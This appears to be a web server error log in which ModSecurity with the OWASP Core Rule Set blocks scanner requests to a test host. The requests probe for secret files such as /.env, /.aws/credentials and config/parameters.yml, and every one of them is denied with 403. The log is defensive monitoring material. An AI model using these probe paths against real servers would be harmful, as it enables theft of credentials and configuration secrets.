[Sat Nov 01 05:36:28.157827 2025] [:error] [pid 3922689] [client 130.131.162.253:33622] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-config.js&quot;] [unique_id &quot;aQWOTPRb_33NrC84WVbEjgAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env-config.js
[Sat Nov 01 05:36:28.157996 2025] [:error] [pid 3922690] [client 130.131.162.253:33634] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aQWOTP_3lbuXlxdHFSS98gAAAAc&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials
[Sat Nov 01 05:36:28.158008 2025] [:error] [pid 3922689] [client 130.131.162.253:33622] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-config.js&quot;] [unique_id &quot;aQWOTPRb_33NrC84WVbEjgAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env-config.js
[Sat Nov 01 05:36:28.159500 2025] [:error] [pid 3922691] [client 130.131.162.253:33614] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aQWOTKAjPtSezHL3mXea9QAAAAg&quot;], referer: http://pms.test.indacotrentino.com/config/parameters.yml
[Sat Nov 01 05:36:28.159721 2025] [:error] [pid 3922691] [client 130.131.162.253:33614] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aQWOTKAjPtSezHL3mXea9QAAAAg&quot;], referer: http://pms.test.indacotrentino.com/config/parameters.yml
[Sat Nov 01 05:36:28.159879 2025] [:error] [pid 3922691] [client 130.131.162.253:33614] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aQWOTKAjPtSezHL3mXea9QAAAAg&quot;], referer: http://pms.test.indacotrentino.com/config/parameters.yml
[Sat Nov 01 05:36:28.460438 2025] [:error] [pid 3922689] [client 130.131.162.253:33622] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aQWOTPRb_33NrC84WVbEkAAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.js
[Sat Nov 01 05:36:28.460711 2025] [:error] [pid 3922689] [client 130.131.162.253:33622] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aQWOTPRb_33NrC84WVbEkAAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.js
[Sat Nov 01 05:36:28.460888 2025] [:error] [pid 3922689] [client 130.131.162.253:33622] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aQWOTPRb_33NrC84WVbEkAAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.js
[Sat Nov 01 05:36:28.461777 2025] [:error] [pid 3922691] [client 130.131.162.253:33614] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aQWOTKAjPtSezHL3mXea9wAAAAg&quot;], referer: http://pms.test.indacotrentino.com/app/config/parameters.yml
[Sat Nov 01 05:36:28.461987 2025] [:error] [pid 3922691] [client 130.131.162.253:33614] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aQWOTKAjPtSezHL3mXea9wAAAAg&quot;], referer: http://pms.test.indacotrentino.com/app/config/parameters.yml
[Sat Nov 01 05:36:28.462126 2025] [:error] [pid 3922691] [client 130.131.162.253:33614] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aQWOTKAjPtSezHL3mXea9wAAAAg&quot;], referer: http://pms.test.indacotrentino.com/app/config/parameters.yml
[Mon Nov 03 00:46:05.360984 2025] [:error] [pid 3966435] [client 176.65.148.212:43674] [client 176.65.148.212] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQftPcM8BL4vmzZaAOOD6QAAAAE&quot;]
[Mon Nov 03 00:46:05.363460 2025] [:error] [pid 3966435] [client 176.65.148.212:43674] [client 176.65.148.212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQftPcM8BL4vmzZaAOOD6QAAAAE&quot;]
[Mon Nov 03 00:46:05.363622 2025] [:error] [pid 3966435] [client 176.65.148.212:43674] [client 176.65.148.212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQftPcM8BL4vmzZaAOOD6QAAAAE&quot;]
[Tue Nov 04 03:56:42.758928 2025] [:error] [pid 3994285] [client 204.76.203.25:44710] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aQlrav0IK18ygWS6hem81AAAAAU&quot;]
[Tue Nov 04 03:56:42.759210 2025] [:error] [pid 3994285] [client 204.76.203.25:44710] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aQlrav0IK18ygWS6hem81AAAAAU&quot;]
[Tue Nov 04 03:56:42.759375 2025] [:error] [pid 3994285] [client 204.76.203.25:44710] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aQlrav0IK18ygWS6hem81AAAAAU&quot;]
[Tue Nov 04 12:37:54.718173 2025] [:error] [pid 3995819] [client 204.76.203.25:47666] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQnlkoPL8DdHQvMuFvmiogAAAAo&quot;]
[Tue Nov 04 12:37:54.718476 2025] [:error] [pid 3995819] [client 204.76.203.25:47666] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQnlkoPL8DdHQvMuFvmiogAAAAo&quot;]
[Tue Nov 04 12:37:54.718663 2025] [:error] [pid 3995819] [client 204.76.203.25:47666] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQnlkoPL8DdHQvMuFvmiogAAAAo&quot;]
[Wed Nov 05 04:54:23.238977 2025] [:error] [pid 4020886] [client 176.65.148.212:57740] [client 176.65.148.212] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQrKb7E_cYygikjMt8IjfAAAAAU&quot;]
[Wed Nov 05 04:54:23.239228 2025] [:error] [pid 4020886] [client 176.65.148.212:57740] [client 176.65.148.212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQrKb7E_cYygikjMt8IjfAAAAAU&quot;]
[Wed Nov 05 04:54:23.239390 2025] [:error] [pid 4020886] [client 176.65.148.212:57740] [client 176.65.148.212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQrKb7E_cYygikjMt8IjfAAAAAU&quot;]
[Wed Nov 05 12:38:31.010288 2025] [:error] [pid 4020852] [client 45.139.104.183:52676] [client 45.139.104.183] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQs3NyHDgcs_HU2djVvioQAAAAI&quot;]
[Wed Nov 05 12:38:31.010634 2025] [:error] [pid 4020852] [client 45.139.104.183:52676] [client 45.139.104.183] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQs3NyHDgcs_HU2djVvioQAAAAI&quot;]
[Wed Nov 05 12:38:31.010826 2025] [:error] [pid 4020852] [client 45.139.104.183:52676] [client 45.139.104.183] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQs3NyHDgcs_HU2djVvioQAAAAI&quot;]
[Thu Nov 06 00:32:04.403041 2025] [:error] [pid 4043102] [client 45.139.104.183:57418] [client 45.139.104.183] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQvedCccahePVV866adLdwAAAAo&quot;]
[Thu Nov 06 00:32:04.403423 2025] [:error] [pid 4043102] [client 45.139.104.183:57418] [client 45.139.104.183] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQvedCccahePVV866adLdwAAAAo&quot;]
[Thu Nov 06 00:32:04.403629 2025] [:error] [pid 4043102] [client 45.139.104.183:57418] [client 45.139.104.183] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQvedCccahePVV866adLdwAAAAo&quot;]
[Sat Nov 08 02:06:17.968218 2025] [:error] [pid 4092331] [client 204.76.203.25:43984] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aQ6XiXZ2xZEMJtGDymCBOAAAAAI&quot;]
[Sat Nov 08 02:06:17.968498 2025] [:error] [pid 4092331] [client 204.76.203.25:43984] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aQ6XiXZ2xZEMJtGDymCBOAAAAAI&quot;]
[Sat Nov 08 02:06:17.968662 2025] [:error] [pid 4092331] [client 204.76.203.25:43984] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aQ6XiXZ2xZEMJtGDymCBOAAAAAI&quot;]
